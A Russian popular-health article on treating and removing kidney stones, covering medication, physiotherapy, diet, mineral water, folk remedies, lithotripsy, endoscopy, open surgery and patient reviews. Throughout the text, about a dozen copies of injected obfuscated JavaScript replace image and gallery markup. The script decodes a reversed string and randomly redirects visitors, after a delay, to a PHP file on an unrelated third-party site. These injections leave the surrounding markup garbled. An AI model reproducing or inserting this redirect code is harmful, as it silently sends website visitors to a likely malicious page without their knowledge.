Удаление камней из почек: эффективные способы

Камни в почках вызывают неприятную и болезненную симптоматику, нарушают процесс мочеиспускания и провоцируют развитие инфекции в органе. Чтобы не допустить нежелательные последствия и сохранить функциональность почек, необходимо вовремя проводить диагностику и лечение заболевания. В настоящее время существует множество действенных методов, позволяющих вывести конкременты из органа.

Методы удаления камней из почек

На выбор способа терапии при конкрементах в почках влияют следующие факторы:

• химическое и органическое происхождение камней;
• размер конкрементов;
• наличие или отсутствие сопутствующих заболеваний и осложнений.

При обнаружении небольшого камня (менее 5 мм в диаметре) применяются консервативные виды лечения:

• медикаментозная терапия;
• физиопроцедуры;
• диетическое питание;
• бальнеолечение.

Консервативное лечение проводится как в стационаре, так и в домашних условиях. Процесс выхода конкремента может продолжаться в течение нескольких месяцев.

При больших размерах камней, а также неэффективности консервативного лечения подключают хирургические методы:

• литотрипсию;
• эндоскопию;
• лапаротомию.

Консервативные способы

Консервативные методики избавления от камней редко применяются по отдельности. В основном схема лечения состоит из нескольких элементов, которые подбираются врачом.

Медикаментозная терапия

Для лечения камней в почках применяются препараты, способные растворять камни:

• Блемарен. В состав лекарственного средства входит натриевая соль лимонной кислоты, которая нейтрализует уратные камни. Блемарен способствует установлению pH урины в пределах целевых показателей (6,6–6,8). К лекарственному средству прилагаются тест-полоски для определения pH мочи. Курс лечения препаратом составляет от 1 до 6 месяцев. Возможные побочные эффекты:
  • аллергические реакции различного характера;
  • отёки;
  • диспепсия (нарушение работы желудка).
• Аллопуринол. Применяется для растворения небольших уратов, а также для вывода из почек камней, образовавшихся по неизвестной причине. Препарат препятствует возникновению избытка мочевой кислоты в организме, предупреждая появление новых уратных конкрементов в почках. Побочные эффекты средства:
  • нарушение функционирования печени;
  • сыпь на кожном покрове аллергического характера.
• Цистон. Препарат растительного происхождения, снижающий содержание в урине веществ (мочевая кислота, щавелевая кислота, кальций), избыток которых приводит к образованию конкрементов в почках. Лекарственное средство препятствует наслоению частиц вокруг ядра конкремента, что предупреждает увеличение размеров камня. Способствует выведению оксалатов, фосфатов и уратов. Обладает спазмолитическим и противовоспалительным действием. Курс лечения препаратом может длиться от 4 до 6 месяцев.
• Пеницилламин. Связывает ионы меди, кальция, кобальта и других веществ. Эффективен при цистиновых камнях в почках.

Легче всего поддаются медикаментозной терапии уратные камни, состоящие из солей мочевой кислоты.

При камнях любого происхождения могут также применяться следующие медикаменты:

• мочегонные средства, активизирующие выделительную функцию почек и ускоряющие выход камней из органа:
  • Канефрон;
  • Фитолизин;
  • Уролесан;
• препараты, устраняющие спазмы гладких мышц и снижающие болевую симптоматику:
  • Но-Шпа;
  • Папаверин;
  • Бускопан;
• антибиотики, нейтрализующие острые воспалительные процессы в почках:
  • Ципрофлоксацин;
  • Цефепим;
  • Левофлоксацин.

Во время лечения медикаментами пациенту следует мочиться в отдельную ёмкость, чтобы заметить вышедший конкремент. Камень необходимо показать лечащему врачу, который отправит его в лабораторию для исследования состава.

Фотогалерея: медикаменты, применяемые для лечения камней в почках

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32864,32862,32868,32867,32866,32865,32882″]

Симптоматика при выходе камней из почек

Если конкремент начал выходить из почек, то у человека могут возникнуть следующие симптомы:

• боли в нижней части живота;
• повышенная температура тела;
• приступы тошноты;
• избыточная потливость;
• появление крови в моче, если камень травмировал стенки мочеточника.

При этих признаках не впадайте в панику, а сообщите о появившихся симптомах своему лечащему врачу.

Физиопроцедуры

Физиопроцедуры при мочекаменной болезни способны:

• снизить болевой синдром;
• устранить воспалительные процессы в почках;
• ускорить процесс выхода камней из органа.

Для избавления от конкрементов наиболее эффективными являются следующие физиопроцедуры:

• Электрофорез. На прокладки электродов наносится лекарство, которое под воздействием электрического тока через кожный покров и ткани проникает в место образования конкрементов. Благодаря электрофорезу медикаментозное средство вводится именно в патологическую область, не насыщая при этом лимфу и кровь. Действие препарата пролонгируется, что повышает его лечебный эффект. Противопоказания для проведения процедуры:
  • нарушение целостности кожного покрова в местах установки электродов;
  • опухоли злокачественного характера;
  • высокая температура тела;
  • острые воспалительные процессы в почках.

    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/elektroforez-728×485.jpg» alt=»Электрофорез» width=»728″ height=»485″ /> При электрофорезе под воздействием электрического тока лекарственное средство попадает непосредственно в место локализации камней

• Индуктотермия. Во время процедуры на почки воздействует магнитное поле высокой частоты (40 Мгц), вследствие чего образуется тепло, обладающее лечебным эффектом. Противопоказания:
  • злокачественные опухоли;
  • сердечные патологии.
• Озокеритовые аппликации. Озокерит — вещество природного происхождения, состоящее из парафина, смол и минеральных масел. Благодаря низкому показателю теплопроводности, аппликации с этим веществом даже при температуре 60–70 градусов не вызывают ожогов кожного покрова. Озокеритовые аппликации улучшают кровообращение в почках, устраняют очаги воспаления, способствуют выходу камней. Применяются также при болевом синдроме, который может сопровождать выход конкрементов из почек.
• Подводный душ-массаж. Производится в ванне или бассейне. В течение 10–20 минут выполняется массаж области почек мощной струёй воды. Процедура проводится ежедневно, длительность лечения составляет 2–3 недели.

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/podvodnyy-dush-massazh.jpg» alt=»Подводный душ-массаж» width=»604″ height=»402″ /> Подводный душ-массаж не только оказывает лечебный эффект при мочекаменной болезни, но и успокаивает, поднимает настроение

Диета

Правильное питание способно улучшить обмен веществ, ускорить процесс выхода конкрементов, а также предотвратить появление новых почечных камней. Правила диетического питания:

• при уратных камнях из меню убираются продукты, в которых содержатся пуриновые основания (продукты азотистого обмена);
• при оксалатах снижается потребление еды с аскорбиновой и щавелевой кислотами;
• при фосфатах ограничивается использование продуктов, обладающих щелочными свойствами.

При всех видах почечных камней запрещено употреблять алкогольные и газированные напитки, жареные, солёные и копчёные продукты, кофе и крепкий чёрный чай.

При выведении конкрементов из почек важно соблюдать правильный питьевой режим: в сутки необходимо потреблять не менее 3 литров жидкости. Так будет увеличиваться суточный диурез (количество мочи, выделяемое почками за сутки), и выход камней будет происходить быстрее.

Таблица: разрешённые и запрещённые продукты при различных видах почечных камней

Виды почечных камней	Разрешённые продукты	Запрещённые продукты
Ураты	молочные продукты; овощи (кроме запрещённых); хлебные изделия; растительные масла; крупы (кроме запрещённых) и макаронные изделия; фрукты и ягоды; зелёный чай; напиток из цикория; травяные отвары и настои.	рыбные и мясные консервы; субпродукты (печень, почки, язык и другие); колбасы и копчёные мясные изделия; супы на мясных и рыбных бульонах; рыба и морепродукты; фастфуд; крупы — гречка, ячмень, пшено; овощи — фасоль, брюссельская капуста, щавель, редис, петрушка, зелёный лук; острые и солёные сорта сыров; грибы.
Фосфаты	мучные изделия; нежирное мясо; нежирная рыба; грибы; любые крупы и макаронные изделия; настои и отвары шиповника; зелёный и травяной чай; напиток из цикория; хлебный квас; растительное и сливочное масло.	молоко и молочные продукты; рыбные и мясные консервы; колбасные изделия; фрукты и ягоды (исключение — яблоки, алыча, брусника, красная смородина); овощи (исключение — тыква, брюссельская капуста, горох, спаржа); наваристые бульоны; фастфуд.
Оксалаты	нежирные сорта мяса и рыбы; овощные и крупяные супы; хлебные изделия; овощи — огурцы, картофель, репа, капуста любых сортов; фрукты — арбузы, абрикосы, персики, груши; свежевыжатые соки из разрешённых фруктов; зелёный чай; напиток из цикория; травяные отвары и настои.	жирные сорта мяса (баранина, свинина); субпродукты; супы на мясных и рыбных бульонах; грибы; консервы из рыбы и мяса; копчёности; фастфуд; молочные продукты; овощи с содержанием щавелевой кислоты: щавель, шпинат, сельдерей, баклажаны, редис, тыква, свёкла; бобовые; фрукты — бананы, манго, яблоки, апельсины, гранаты, лимоны; ягоды — красная смородина, крыжовник; шоколад; какао.

Бальнеотерапия

О лечебных свойствах минеральной воды при мочекаменной болезни известно уже давно. Бальнеотерапия (лечение минеральной водой) с каждым годом становится всё популярнее. Минеральная вода нормализует обмен веществ в организме, очищает почки от токсинов, создавая тем самым крепкий фундамент для быстрого выхода конкрементов.

Однако бальнеотерапия имеет и противопоказания:

• воспалительные процессы в почках;
• острая и хроническая почечная недостаточность;
• туберкулёз органов мочеполовой системы;
• болевой синдром в почках.

Наибольший лечебный эффект принесёт минеральная вода, добываемая из природных источников, где обычно и располагаются санатории. Поэтому проводить бальнеотерапию лучше в профильных лечебных учреждениях.

Если нет возможности пройти лечение в санатории, можно применять бальнеотерапию и в домашних условиях. Для этой цели подойдут минеральные воды со следующими торговыми названиями:

• Ессентуки №20, Саирме — используются при оксалатных конкрементах;
• Ессентуки №4 и №17, Смирновская, Славянская, Боржоми — применяются при уратных камнях, способствуют ощелачиванию мочи;
• Доломитный нарзан, Нафтуся, Арзни — помогают при фосфатах в почках, обладают свойством окислять мочу.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/mineralnaya-voda-v-butylkah-728×546.jpg» alt=»Минеральная вода в бутылках» width=»728″ height=»546″ /> Минеральную воду, подходящую для выведения камней из почек, можно купить в продовольственных магазинах и аптеках

При проведении бальнеотерапии в домашних условиях соблюдайте правила:

• используйте минеральную воду, температура которой составляет 40–50 градусов;
• выпивайте жидкость за 30–60 минут до начала еды;
• перед употреблением выпускайте из минеральной воды газы.
  

Допустимый суточный объём потребления минеральной воды, а также продолжительность лечения — показатели индивидуальные, подбираются только лечащим врачом.

Некоторые пациенты пьют минеральную воду, используя принцип: «Чем больше, тем лучше». Так поступать опасно: при избыточном потреблении минеральной воды происходит сильное ощелачивание или окисление урины, что ухудшает состояние здоровья.

Народные способы

Ускорить выход конкрементов из почек поможет употребление морса из клюквы и брусники. Способ приготовления его таков:

1. Возьмите по 100 г клюквы и брусники. Разомните ягоды вилкой, слейте сок.
2. Оставшуюся мякоть поместите в кастрюлю, добавьте 1,5 л воды.
3. Поставьте кастрюлю на огонь и доведите до кипения. Варите в течение 5 минут.
4. Процедите клюквенно-брусничный отвар, остудите.
5. Добавьте к отвару ягодный сок.

Принимайте по 200 мл морса каждый день. Курс лечения — 3–4 недели.

Обладает лечебными свойствами при мочекаменной болезни отвар со спорышом. Пошаговый рецепт:

1. 10 г сырья залейте 200 мл кипятка.
2. Смесь поставьте на огонь и варите на протяжении получаса.
3. Остудите и процедите отвар.

Принимайте по 20 мл каждый день. Продолжительность лечения — 1 месяц.

Избавиться от почечных камней можно также при помощи свекольного кваса. Он готовится следующим образом:

1. 3–4 корнеплода среднего размера вымойте и очистите.
2. Нарежьте свёклу небольшими ломтиками и поместите их в банку ёмкостью 3 л. Банка должна заполниться на 2/3.
3. Налейте в тару охлаждённую кипячёную воду таким образом, чтобы жидкость не доходила до краёв банки на несколько сантиметров.
4. Накройте банку марлей. Поставьте её в тёплое место на неделю.
5. Спустя указанный срок, процедите содержимое банки и поместите свекольный квас в холодильник.

Принимайте квас два раза в день — перед завтраком и ужином. Разовая доза — 100 мл. Курс лечения — 3 месяца.

Фотогалерея: народные средства для удаления конкрементов из почек

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32855,32854,32880″]

Хирургическое удаление камней из почек

Оперативное лечение конкрементов в почках проводится при следующих показаниях:

• неэффективности консервативных способов лечения;
• закупорке мочеточника камнем, когда возникает сильнейший болевой синдром и незамедлительная необходимость в операции;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/pochechnaya-kolika-1.jpg» alt=»Почечная колика» width=»700″ height=»492″ /> При попадании камня более 5 мм в диаметре в мочеточник возникает почечная колика, при которой человек испытывает невыносимую боль

• гнойных воспалительных процессах внутри органа;
• карбункуле почки (патологическом гнойном образовании в органе);
• быстром прогрессировании почечной недостаточности;
• боли, которую невозможно устранить при помощи медикаментозных средств.

В зависимости от размеров конкрементов, а также индивидуальных физических показателей пациента лечащий врач может порекомендовать тот или иной хирургический способ удаления камней.

Литотрипсия

В России литотрипсия применяется с 90-х годов XX века. В настоящее время этот метод является ведущим в хирургическом лечении уролитиаза. Литотрипсия бывает двух видов:

• Дистанционная — на камень производится воздействие ультразвуковым аппаратом, который находится на небольшом расстоянии от пациента. В конкременте появляются полости и микротрещины. Камень дробится и выходит через катетер или мочеточник.
• Контактная — на конкремент прямым способом воздействуют при помощи ультразвука, лазера или сильного потока воздуха.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/litotripsiya-2-728×387.jpg» alt=»Дистанционная литотрипсия» width=»728″ height=»387″ /> При дистанционной литотрипсии под воздействием ультразвука камень в почке измельчается

Контактная литотрипсия применяется в качестве вспомогательного метода при эндоскопии.

Как проводится дистанционная литотрипсия

Дистанционная литотрипсия проводится при размере конкрементов до 2 см. Преимуществами метода являются:

• атравматичность;
• низкий риск инфицирования во время операции;
• быстрый восстановительный период.

Противопоказания для ультразвукового дробления камней:

• период беременности;
• травмы различного характера, при которых пациент не может принять нужное положение во время процедуры;
• масса тела человека, превышающая 130 кг;
• рост пациента более двух метров или менее одного метра;
• плохая свёртываемость крови.

Процесс оперативного вмешательства:

1. Выполняется анестезия. Ранее применялся общий наркоз, однако дальнейшая практика показала, что в этом нет особой необходимости. В настоящее время используется эпидуральная анестезия (обезболивающие средства вводятся в поясничный отдел позвоночника). Анестетики начинают работать через 7–10 минут, длительность обезболивающего эффекта — около 1 часа.
2. В зависимости от месторасположения конкремента литотрипсия может выполняться в положении пациента лёжа на животе или на спине. Если человек располагается на спине, то его нижние конечности приподнимаются и закрепляются.
3. В мочеточник через катетер вводится контрастное вещество, способствующее улучшению визуализации. Также этим способом подаётся физиологический раствор, облегчающий прохождение ультразвукового излучения.
4. Производится воздействие литотриптором (аппаратом, создающим ультразвуковые ударные волны) на участок почки, где расположен конкремент. Бывают ситуации, когда требуется несколько подходов для того, чтобы разрушить камень.

   $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/p-728×443.jpg» alt=»Пациент на процедуре литотрипсии» width=»728″ height=»443″ /> При дистанционной литотрипсии ультразвуковая установка находится на расстоянии от пациента

Во время процедуры человек не испытывает болевых ощущений.

После операции пациента перемещают в палату. Там он производит мочеиспускание в специальный контейнер с целью контроля выхода фрагментов конкремента. Выход остатков камня может продолжаться 2–3 дня. После этого проводится ультразвуковое исследование почки. При отсутствии осложнений пациента выписывают из стационара.

Эндоскопия

Это вид оперативного вмешательства производится при помощи специальных приборов — эндоскопов. Эндоскоп оснащён камерой, расположенной на конце его длинной трубки, а также включает в себя дополнительные инструменты, которые позволяют выполнять различные хирургические манипуляции.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/medicinskiy-endoskop-728×430.jpg» alt=»Медицинский эндоскоп» width=»728″ height=»430″ /> Эндоскоп — медицинский прибор, состоящий из длинной трубки, мини-камеры и хирургических инструментов

Применение эндоскопов в хирургии повышает комфорт процедуры, снижает вероятность послеоперационных осложнений, а также сокращает реабилитационный период после оперативного вмешательства.

Благодаря мини-камере, встроенной в эндоскоп, изображение выводится на экран монитора, и хирург видит все свои манипуляции.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/endoskopicheskaya-operaciya-728×474.jpg» alt=»Эндоскопическая операция» width=»728″ height=»474″ /> Во время эндоскопии все манипуляции хирурга отражаются на экране монитора

В зависимости от пути введения медицинского инструмента в орган выделяют два вида эндоскопии:

• Чрескожная. Выполняется для удаления больших конкрементов, расположенных в почечных лоханках и верхних отделах мочеточников. В области поясницы создаётся прокол, через который вводится нефроскоп (эндоскопический инструмент для удаления камней).
  

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/k.jpg» alt=»Эндоскопия при помощи прокола почки» width=»640″ height=»416″ /> Удаление камней чрескожным способом проводится при помощи нефроскопа

• Оперативное вмешательство, осуществляемое через уретру. Применяется при локализации камней в нижнем отделе мочеточника. Противопоказанием к процедуре является плохая проходимость мочевых путей вследствие различных патологий (аденомы простаты, стриктуры уретры).

Показания для эндоскопического вмешательства:

• почечные камни размером до 2 см;
• локализация конкремента на пути мочеточника;
• остатки фрагментов камней после проведения дистанционной литотрипсии.

Процесс эндоскопии:

1. Производится общий наркоз.
2. В почку вводится эндоскоп чрескожным способом или через уретру.
3. Конкременты небольших размеров (0,5–0,6 мм) извлекаются при помощи щипцов-захватов. Если камни имеют значительные размеры, то сначала проводится контактная литотрипсия, далее фрагменты камней удаляют при помощи медицинских инструментов.

   $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/udaleniya-kamney-iz-pochki.jpg» alt=»Удаление камней из мочеточника» width=»650″ height=»350″ /> Для удаления камней в ходе эндоскопии используются щипцы-захваты различной конструкции

4. Эндоскоп удаляется из почки.
5. Выполняется дренирование почки. Если эндоскопия производилась чрескожным способом, то дренаж устанавливается через прокол. При трансуретральном доступе катетер вводится через уретру.

После эндоскопии постельный режим не назначается. В стационаре пациент проводит 2–3 дня и после контрольного УЗИ возвращается домой. Полный восстановительный период составляет 5–7 дней.

Лапаротомия

Лапаротомия — это открытая операция, которая выполняется при помощи разреза. Производится в тяжёлых ситуациях, когда малоинвазивное вмешательство выполнять неэффективно.

Показания для лапаротомии:

• частые рецидивы мочекаменной болезни;
• большой размер конкрементов;
• гнойные очаги внутри почки.

К недостаткам лапаротомии можно отнести высокий риск послеоперационных осложнений: возникновение кровотечений, инфицирование мочевых путей бактериями.

Ход операции:

1. Пациент ложится на здоровый бок.
2. Производится общий наркоз.
3. В области поражённой почки выполняется разрез кожного покрова и тканей.
4. Часть органа с мочеточником фиксируется зажимом для предотвращения кровотечения.
5. Камень удаляется, края почки сшиваются.
6. В почку устанавливается дренаж.
7. На рану накладывают шов.

Дренаж находится в органе на протяжении 8–11 дней, после чего удаляется при отсутствии осложнений. Швы снимаются через две недели после операции.

Разновидностью лапаротомии является резекция почки — частичное удаление органа, которое проводится при наличии множественных крупных конкрементов, некротических образований, а также на последней стадии мочекаменной болезни.

Реабилитационный период после удаления камней из почек

После удаления камней консервативным или хирургическим способом применяется медикаментозная терапия. Могут назначаться следующие препараты:

• антибиотики и противовоспалительные средства, устраняющие инфекционные процессы в почках;
• мочегонные средства, способствующие выходу остатков конкрементов;
• витаминные комплексы, укрепляющие иммунитет.

Схема лечения после удаления камней подбирается лечащим врачом индивидуально для каждого пациента.

В течение 1 месяца после выхода камней из почек следует придерживаться щадящего режима:

• ходить не более 30–40 минут в день;
• не бегать, не поднимать руки вверх, не заниматься баскетболом, волейболом, теннисом, бадминтоном;
• не поднимать груз весом более 3 кг;
• не посещать бассейн, баню, сауну.

Через месяц после избавления от конкрементов можно постепенно вводить в повседневную жизнь физическую нагрузку: выполнять утреннюю зарядку, проводить длительные пешие прогулки. Через 4–6 месяцев разрешается плавать в бассейне, ходить на лыжах, а также заниматься другими видами спорта.

После периода реабилитации активный образ жизни необходим. Важным аспектом положительного исхода заболевания является профилактика избыточного веса, так как ожирение влечёт за собой нарушение обмена веществ. Физическая активность способствует сжиганию лишних калорий и препятствует увеличению массы тела.

Реабилитационный период предполагает выполнение определённых правил питания и питьевого режима:

• откажитесь от острых, жареных, солёных и копчёных продуктов, а также от спиртных и газированных напитков;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/fastfud-4-728×481.jpg» alt=»Фастфуд» width=»728″ height=»481″ /> Фастфуд — источник соли и жира — вреден не только для почек, но и для всего организма

• питайтесь часто и мелкими порциями, не перегружайте желудочно-кишечный тракт перед сном;
• выпивайте в день не менее двух литров жидкости, в качестве питья употребляйте чистую питьевую воду, зелёный чай, напиток из цикория, травяные отвары и настои;
• обогатите меню продуктами, содержащими клетчатку (овощами, фруктами, цельнозерновыми крупами, хлебом из отрубей), это позволит предотвратить появление запоров, которые способствуют насыщению мочи минеральными солями, также введите в рацион кисломолочные продукты, растительные масла, чернослив.

Фотогалерея: полезные продукты в период реабилитации

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32877,32876,32875,32874″]

Отзывы

Дистанционная литотрипсия.

Когда выяснилось, что у меня камни в нижней трети мочеточника (чем и оправдывалась адская боль), необходимо было срочно что-то делать, поскольку терпеть это было невозможно. Не буду описывать диагностику полностью и как я до этого дошла. Отзыв о методе. Так как не во всех больницах есть аппарат для этого метода лечения, я решила самостоятельно найти больницу, где мне помогут. Прошерстила кучу клиник. Если вы уже решились на этот метод, прежде вам стоит проконсультироваться с врачом, поскольку даже у этого варианта избавления от камней имеются противопоказания, хоть он и кажется безобидным. Я нашла Бест клиник, которая работает на платной основе. Как они объяснили, у них современный аппарат — литотриптер. С помощью него всё это и делается.

К приёму у меня уже были на руках результаты УЗИ, МРТ, рентген , анализ мочи, анализ крови, в общем полный комплект. Но всё таки перед процедурой пришлось пройти ещё раз УЗИ, что бы убедиться, что камни не сдвинулись с места, наметить фронт работ так сказать. С доктором обсудили предстоящую процедуру. В тот день нельзя было кушать, я волновалась, но доктор меня успокоил, я легла на кушетку. Он направлял аппарат в разные направления в течение 40 минут. Был звук, даже не могу объяснить, на что похож, но громкий. Были неприятные ощущения в области живота, под конец я почувствовала, как кружится голова. Уже думала не встану, но по окончании я с лёгкостью поднялась и спокойно уехала домой. Ещё на протяжении недели или двух выходил песок. Я наблюдала крупинки, иногда прожилки крови. Но сильной боли, как прежде, не было, через 3 недели вовсе дискомфорт прекратился. Я бы порекомендовала этот метод тем, кто боится операций и у кого нет противопоказаний к данному виду удаления камней.

У меня родственник в своё время записался на лазерную операцию. Но слава богу пронесло. Сам себе пил ЦИСТОН, купленный в Индии (у нас тоже продаётся, но дороже). За неделю до назначенного лазера — песок вышел (камни размягчились). Если без этого можно обойтись — попробуйте обойтись!

Эндоскопическое удаление камней из почки.

Пять лет назад пережила такую операцию — ну что вам сказать — по сравнению с полостной — это просто сказка! Тоже нервничала в ожидании. Сделали укол в область поясницы. Перестала ноги чувствовать. Во время операции я смотрела в монитор и видела все то, что видят врачи. Это было очень интересно. Анестезиолог так нежно держал меня за руку, что ещё немного — и я бы в него влюбилась))) На самом деле он по ногтям отслеживал моё состояние. Ну и ещё в глаза заглядывал и вопросы задавал контрольные. Вообще все шутили и юморили постоянно, так что я успокоилась. Из одной почки камень вынули быстро — ещё и посмеялись, что я везунчик, камушек сам из меня выпрыгнул. Со второй почкой возились долго — камень был большой, на треть почки. Потом мне в мешочке отдали эти осколки — гадость редкостная — и на вид, и на ощупь. Потом ещё несколько дней обрабатывали швы, но у меня из-за большой жировой прослойки они и не могли быстро срастись, сразу об этом предупредили. Трубки — конечно, не очень удобно, но терпимо вполне. Нас сами врачи научили привязать к ним пол-литровые бутылочки и я даже в магазин выскакивала со всей этой конструкцией в кармане.

Эндоскопическое удаление камней из почки.

Мужу моему делали. Рассказывал, что сам на мониторе видел, как камень дробили, потом, пока анестезия не отпустила, было хорошо. Первая ночь без сна, было больно, но колики все же больнее. Ходил с трубкой и пакетом, выходили некротические ткани. Трубку сняли через пару дней. Выписали через неделю. Заросло все быстро, шов даже не делали, само затянулось. Остался маленький шрамик как напоминание.

Исход лечения мочекаменной болезни зависит не только от профессионализма лечащего врача, но и от верных действий самого пациента. Для избежания осложнений, а также рецидивов мочекаменной болезни выполняйте все рекомендации специалиста и проходите плановые осмотры.